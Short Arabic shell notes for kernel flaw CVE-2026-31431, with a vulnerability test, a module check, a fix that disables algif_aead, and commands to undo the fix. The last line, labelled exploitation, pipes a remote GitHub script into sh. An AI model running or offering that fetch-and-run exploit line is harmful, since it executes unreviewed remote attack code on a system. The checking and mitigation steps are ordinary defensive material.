
اختبارات لثغرة CVE-2026-31431 في النواة، تتحقق مما إذا كانت الثغرة قابلة للاستغلال، وتوفر إصلاحًا عن طريق تعطيل وحدة algif_aead.
# الاختبار: التحقق من الثغرة
python3 -c 'import socket;exec("try:s=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));print(\"vulnerable\")\nexcept:print(\"not vulnerable\")")'
# التحقق من الوحدة
# التحقق من تحميل الوحدة في النواة
lsmod | grep -q '^algif_aead' && echo "loaded" || echo "not loaded"
# الإصلاح: إزالة الوحدة
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
# التراجع: إعادة تحميل الوحدة
sudo rm -f /etc/modprobe.d/disable-algif.conf
sudo depmod -a
# الاستغلال
curl https://raw.githubusercontent.com/studiogangster/CVE-2026-31431/refs/heads/main/test.sh | sh